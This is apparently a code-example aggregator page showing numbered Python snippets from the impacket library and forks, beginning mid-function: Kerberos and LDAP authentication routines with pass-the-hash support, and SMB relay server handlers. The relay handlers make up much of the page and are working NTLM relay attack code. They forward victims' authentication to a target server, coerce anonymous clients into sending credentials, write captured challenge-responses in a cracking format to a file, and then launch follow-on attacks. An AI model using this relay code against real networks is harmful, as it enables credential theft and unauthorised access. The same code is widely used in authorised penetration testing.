                        authenticateMessage['domain_name'].decode('ascii'),
                        authenticateMessage['user_name'].decode('ascii')))
                return

            # Relay worked, do whatever we want here...
            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc,
                    authenticateMessage['domain_name'].decode('utf-16le'),
                    authenticateMessage['user_name'].decode('utf-16le')))
            else:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                    authenticateMessage['user_name'].decode('ascii')))

            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                authenticateMessage['user_name'],
                                                authenticateMessage['domain_name'],
                                                authenticateMessage['lanman'], authenticateMessage['ntlm'])
            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

            if self.server.config.outputFile is not None:
                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                      self.server.config.outputFile)

            self.server.config.target.logTarget(self.target, True, self.authUser)

            self.do_attack()
コード例 #17
0
ファイル: ldap.py プロジェクト: ManKiam/impacket
    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
                      TGS=None, useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:
                lmhash = '0' + lmhash
            if len(nthash) % 2:
                nthash = '0' + nthash
            try:  # just in case they were converted already
                lmhash = bytes.fromhex(lmhash)
                nthash = bytes.fromhex(nthash)
            except TypeError:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        targetName = 'ldap/%s' % self._dstHost
        if useCache:
            domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)

        # First of all, we need to get a TGT for the user
        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
                                                                        aesKey, kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
                                                                    sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = []
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        # Done with the Kerberos saga, now let's get into LDAP

        bindRequest = BindRequest()
        bindRequest['version'] = 3
        bindRequest['name'] = user
        bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
        bindRequest['authentication']['sasl']['credentials'] = blob.getData()

        response = self.sendReceive(bindRequest)[0]['protocolOp']

        if response['bindResponse']['resultCode'] != ResultCode('success'):
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
                                                                response['bindResponse']['diagnosticMessage'])
            )

        return True
コード例 #18
0
def getKerberosType1(username,
                     password,
                     domain,
                     lmhash,
                     nthash,
                     aesKey='',
                     TGT=None,
                     TGS=None,
                     targetName='',
                     kdcHost=None,
                     useCache=True):

    # Convert to binary form, just in case we're receiving strings
    if isinstance(lmhash, str):
        try:
            lmhash = unhexlify(lmhash)
        except TypeError:
            pass
    if isinstance(nthash, str):
        try:
            nthash = unhexlify(nthash)
        except TypeError:
            pass
    if isinstance(aesKey, str):
        try:
            aesKey = unhexlify(aesKey)
        except TypeError:
            pass

    if TGT is None and TGS is None:
        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except Exception:
                # No cache present
                pass
            else:
                # retrieve domain information from CCache file if needed
                if domain == '':
                    domain = ccache.principal.realm['data'].decode('utf-8')
                    LOG.debug('Domain retrieved from CCache: %s' % domain)

                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS(principal)

                # retrieve user information from CCache file if needed
                if username == '' and creds is not None:
                    username = creds['client'].prettyPrint().split(
                        b'@')[0].decode('utf-8')
                    LOG.debug('Username retrieved from CCache: %s' % username)
                elif username == '' and len(ccache.principal.components) > 0:
                    username = ccache.principal.components[0]['data'].decode(
                        'utf-8')
                    LOG.debug('Username retrieved from CCache: %s' % username)

    # First of all, we need to get a TGT for the user
    userName = Principal(username,
                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    while True:
        if TGT is None:
            if TGS is None:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                        userName, password, domain, lmhash, nthash, aesKey,
                        kdcHost)
                except KerberosError as e:
                    if e.getErrorCode(
                    ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES
                        # So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if lmhash == b'' and nthash == b'' and (
                                aesKey == b'' or aesKey is None
                        ) and TGT is None and TGS is None:
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            LOG.debug(
                                'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
                            lmhash = compute_lmhash(password)
                            nthash = compute_nthash(password)
                            continue
                        else:
                            raise
                    else:
                        raise

        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        # Now that we have the TGT, we should ask for a TGS for cifs

        if TGS is None:
            serverName = Principal(
                'host/%s' % targetName,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                    serverName, domain, kdcHost, tgt, cipher, sessionKey)
            except KerberosError as e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES
                    # So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if lmhash == b'' and nthash == b'' and (
                            aesKey == b''
                            or aesKey is None) and TGT is None and TGS is None:
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
                        lmhash = compute_lmhash(password)
                        nthash = compute_nthash(password)
                    else:
                        raise
                else:
                    raise
            else:
                break
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']
            break

    # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    opts.append(constants.APOptions.mutual_required.value)
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', userName.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    authenticator['cksum'] = noValue
    authenticator['cksum']['cksumtype'] = 0x8003

    chkField = CheckSumField()
    chkField['Lgth'] = 16

    chkField[
        'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    authenticator['cksum']['checksum'] = chkField.getData()
    authenticator['seq-number'] = 0
    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode(
        struct.pack('B', ASN1_OID) +
        asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ +
        encoder.encode(apReq))

    return cipher, sessionKey, blob.getData()
コード例 #19
0
ファイル: kerberosv5.py プロジェクト: CoreSecurity/impacket
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True):
    if TGT is None and TGS is None:
        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except Exception:
                # No cache present
                pass
            else:
                # retrieve domain information from CCache file if needed
                if domain == '':
                    domain = ccache.principal.realm['data'].decode('utf-8')
                    LOG.debug('Domain retrieved from CCache: %s' % domain)

                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
                    creds =  ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS(principal)

                # retrieve user information from CCache file if needed
                if username == '' and creds is not None:
                    username = creds['client'].prettyPrint().split(b'@')[0]
                    LOG.debug('Username retrieved from CCache: %s' % username)
                elif username == '' and len(ccache.principal.components) > 0:
                    username = ccache.principal.components[0]['data']
                    LOG.debug('Username retrieved from CCache: %s' % username)

    # First of all, we need to get a TGT for the user
    userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    while True:
        if TGT is None:
            if TGS is None:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES 
                        # So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
                            lmhash = compute_lmhash(password)
                            nthash = compute_nthash(password) 
                            continue
                        else:
                            raise 
                    else:
                        raise

        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey'] 

        # Now that we have the TGT, we should ask for a TGS for cifs

        if TGS is None:
            serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
            except KerberosError as e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES 
                    # So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
                        lmhash = compute_lmhash(password)
                        nthash = compute_nthash(password) 
                    else:
                        raise 
                else:
                    raise 
            else:
                break
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey'] 
            break

    # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit() 

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])
    
    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    opts.append(constants.APOptions.mutual_required.value)
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq,'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', userName.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    
    authenticator['cksum'] = noValue
    authenticator['cksum']['cksumtype'] = 0x8003

    chkField = CheckSumField()
    chkField['Lgth'] = 16

    chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    authenticator['cksum']['checksum'] = chkField.getData()
    authenticator['seq-number'] = 0
    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))

    return cipher, sessionKey, blob.getData()
コード例 #20
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
            # NEGOTIATE packet
            blob = SPNEGO_NegTokenInit(securityBlob)
            token = blob['MechToken']
            if len(blob['MechTypes'][0]) > 0:
                # Is this GSSAPI NTLM or something else we don't support?
                mechType = blob['MechTypes'][0]
                if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                    # Nope, do we know it?
                    if mechType in MechTypes:
                        mechStr = MechTypes[mechType]
                    else:
                        mechStr = hexlify(mechType)
                    smbServer.log("Unsupported MechType '%s'" % mechStr,
                                  logging.CRITICAL)
                    # We don't know the token, we answer back again saying
                    # we just support NTLM.
                    # ToDo: Build this into a SPNEGO_NegTokenResp()
                    respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                    respSMBCommand['SecurityBufferOffset'] = 0x48
                    respSMBCommand['SecurityBufferLength'] = len(respToken)
                    respSMBCommand['Buffer'] = respToken

                    return [respSMBCommand
                            ], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
            # AUTH packet
            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']
        else:
            # No GSSAPI stuff, raw NTLMSSP
            rawNTLM = True
            token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack(
            '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

            #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1, 0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                clientResponse, errorCode = self.do_ntlm_auth(
                    client, token, connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error(
                    "Authenticating against %s://%s as %s\\%s FAILED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.critical(
                    "Authenticating against %s://%s as %s\\%s SUCCEED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    connData['CHALLENGE_MESSAGE']['challenge'],
                    authenticateMessage['user_name'],
                    authenticateMessage['domain_name'],
                    authenticateMessage['lanman'], authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = b'\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
コード例 #21
0
                        nthash = compute_nthash(password)
                    else:
                        raise
                else:
                    raise
            else:
                break
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']
            break

    # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
コード例 #22
0
ファイル: smbrelayserver.py プロジェクト: overflowlga/Public
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                challengeMessage = self.do_ntlm_negotiate(client, token)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    connData['AUTHUSER'] = authenticateMessage['user_name']
                    self.authUser = connData['AUTHUSER']
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = '\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff
                    # Reset the UID
                    if self.target[0] == 'SMB':
                        client.setUid(0)
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())
                    del (smbData[self.target])
                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
